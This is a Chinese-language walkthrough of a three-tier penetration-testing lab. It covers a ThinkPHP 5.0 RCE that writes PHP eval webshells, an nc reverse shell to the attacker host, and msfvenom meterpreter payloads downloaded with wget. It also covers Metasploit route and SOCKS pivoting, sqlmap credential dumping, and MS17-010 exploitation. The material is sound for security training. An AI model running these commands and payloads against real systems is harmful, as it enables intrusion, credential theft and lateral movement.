环境说明:
这个靶机是TeamsSix前辈出的一个靶场,使用的是他的环境。具体网络配置如下:
kali: 10.10.10.1
win7: 10.10.10.3
target1(linux,模拟DMZ区域)
10.10.10.1
192.168.22.11
taget2(linux)
192.168.22.22
192.168.33.22
target3(win7)
192.168.33.33
虚拟机账号密码
root/teamssix.com
administrator/teamssix.com
虚拟机Vmware网卡配置:
Vmnet1 仅主机模式,子网IP:192.168.22.0 子网掩码:255.255.255.0
Wmnet2 仅主机模式,子网IP:192.168.33.0子网掩码:255.255.255.0
Vmnet8 NAT模式
Target1 的 IP 和子网掩码:
ifconfig ens37 192.168.22.11 netmask 255.255.255.0
注释:ens37 是我们的仅主机模式(VMnet1)的网卡
Targe2 的 IP 和子网掩码:
ifconfig ens33 192.168.22.22 netmask 255.255.255.0
ifconfig ens38 192.168.33.22 netmask 255.255.255.0
外部打点
target1
nmap 扫描端口(各种信息收集,省略......)
开放80端口,直接访问,发现目标使用TP5,存在RCE,直接getshell。
ThinkPHP-V5.0-RCE-Getshell 方法:
方法一、直接使用echo写websehll(注意:linux下使用\转义$,windows下用^转义):
POC:
http://10.10.10.4/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST[cmd]);?>" > 1ndex.php
方法二、BASE64编码绕过
http://10.10.10.4/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="|base64 -d > cmd2.php
方法三:反弹shell到我们的nc
KALI:nc -lnvp 6666
目标:nc 10.10.10.1 6666 -e /bin/bash
http://10.10.10.4/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=nc 10.10.10.1 6666 -e /bin/bash
这个时候成功获取 shell!随后用python获取一枚 bash:
python -c 'import pty;pty.spawn("/bin/bash")'
第一层内网
在target1靶场两个flag。
内网渗透阶段使用msf,先让target1上线msf:
msfvenom生成回连木马:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f elf > 4444.elf
kali开启http,webshell端远程下载elf木马。
python3 -m http.server 1080
通过webshell端下载木马:
wget http://10.10.10.1:8090/6666.elf
elf没有执行权限,需要添加执行权限
chmod +x 4444.elf
msf本地设置监听以及使用payload:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
run开启监听,终端执行4444.elf文件,反弹shell到msf。
第一层内网信息收集
查看ip:
ifconfig
查看网段:
run get_local_subnets
目标存在内网网段:192.168.22.X ,添加路由,进行内网横向渗透
添加路由:
run autoroute -s 192.168.22.0/24
background #让meterpreter会话在后台运行
查看会话命令: sessions -l
sessions ID(会话ID)
meterpreter查看添加的路由命令:
run autoroute -p
内网存活网段扫描:
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.22.1/24
set threads 100
在msf添加代理,使用192.168.22.11(双网卡,类比真实环境下的DMZ区域)作为跳板进行内网横向渗透。不添加代理的情况下只有msf是使用代理流量,为了后期的横向渗透方便,比如使用浏览器,或者一些webshell工具的方便性,使用msf的代理模块+proxychains4进行代理:
use auxiliary/server/socks_proxy
无需配置,直接使用默认的参数
记得执行run/exploit命令
配置proxychains4代理文件:
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
在配置好代理之后,可以使用kali的代理工具proxychains4进行内网渗透。
使用namp工具进行端口扫描看看它开放了那些端口服务:
proxychains4 nmap -Pn -sT 192.168.22.22
注释:(因为socks4不支持ICMP协议,不用对它使用ping,所以就使用-Pn 参数,而-sT是使用TCP扫描)
扫描结果:
对target2(内网机器192.168.22.22)进行渗透,getshell
配置本地win7代理,访问target2 80端口。
代理配置情况,socks5 10.10.10.1 1080 (KALI ip地址):
访问目标站点,存在注入(源码提示,CTF题目,参考意义不大)
kali 使用proxychains4 SQLMAP一把梳。
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password –dump
此处不使用batch命令,需要手工选定参数,否则跑不出数据。
后台账号密码 admin/123qwe
dirsearch或者其它工具寻找登录:
proxychains4 dirsearch -u "http://192.168.22.22" -e php -i 200
发现目标存在robots.txt,直接登录后台,修改模板getshell。
链接shell成功,注入连接点为:http://192.168.22.22/index.php?r=tag%2Findex#4_0
使用软件代理工具SocksCap64代理,蚁剑链接shell。
SocksCap64配置,这个实验使用的是socks5,把需要添加代理的软件拖进程序面板就可以使用代理:
因target2在内网,目标不出网,使用正向链接目标的方法让其上线msf。
生成一个bind正向连接的马
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=5555 -f elf > 5555.elf
直接使用蚁剑上传至目标。
同样赋予执行权限。
chmod +x 5555.elf
运行 ./5555.elf
msf设置exp以及payload
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.22
run
设置情况:
运行后获得meterpreter情况:
目前msf获得的会话情况,可以看到两台主机上线:
对target2进行信息收集,继续内网横向渗透。
ifconfig ,可以发现存在192.168.33.22网段。
查看网段:
run get_local_subnets
重复之前类似target1的操作,添加一个路由表到后者:
run autoroute -s 192.168.33.0/24
像收集target1信息一样,扫描端口:
use auxiliary/scanner/portscan/tcp
运行结果:
扫描完后发现发开放了445和3389端口,因此判断有可能是windows系统
为了验证,使用了这个模块去探测它的操作系统:
use auxiliary/scanner/smb/smb_version
Windwos7-MS17-010提权
使用MSF的模块进行探测看是否存在永恒之蓝,使用的辅助模块:
use auxiliary/scanner/smb/smb_ms17_010
MSF检测出 192.168.33.33这台主机存在MS17-010(永恒之蓝)。接下来使用这个利用模块:
use exploit/windows/smb/ms17_010_psexec
注意一下,我们选择 MS17_010 这个利用模块后,我们还需要设置一下 Payload,因为它默认的是 reverse_tcp(反向),而它主机不能出外网所以就只能使用正向(bind_tcp)我们去连接它!
payload:
set payload windows/x64/meterpreter/bind_tcp
设置好参数后运行 exploit 获取到一枚 Meterpreter。
为system权限。
总结:
这个靶场可以学习到如何一步步利用跳板代理横向到最深处网络。
-
Thinkphp5.x Rce漏洞利用,三种利用方式,以及echo写马的注意事项
-
MSF添加路由和socks代理,将Linux主机作为跳板从而横向移动
-
八哥CMS的漏洞利用Getshell,sql注入-->后台管理登陆,后台模板Getshell
-
Ms17-010的psexec利用模块的使用
-
典型的三层网络环境,通过利用MSF强大的路由功能,不断添加路由+socks代理,横向移动到最后一层网络
-
SocksCap64小红帽软件代理工具的使用
-
本靶场只是利用率MSF进行内网进行相关的渗透,横向移动,但是并没域控环境,也不需要相关的提权,比较适合小白入门的靶场。下一步结合CS进行使用,注意多种方式、综合多种类工具进行利用(待完善)。
最后上线情况:
参考链接
https://blog.csdn.net/weixin_45447309/article/details/106907920
https://mp.weixin.qq.com/s?__biz=MzI4MTkzNDIyMg==&mid=2247488522&idx=1&sn=372d9a0ecf3926f84e9f4bc24c6040fd&source=41#wechat_redirect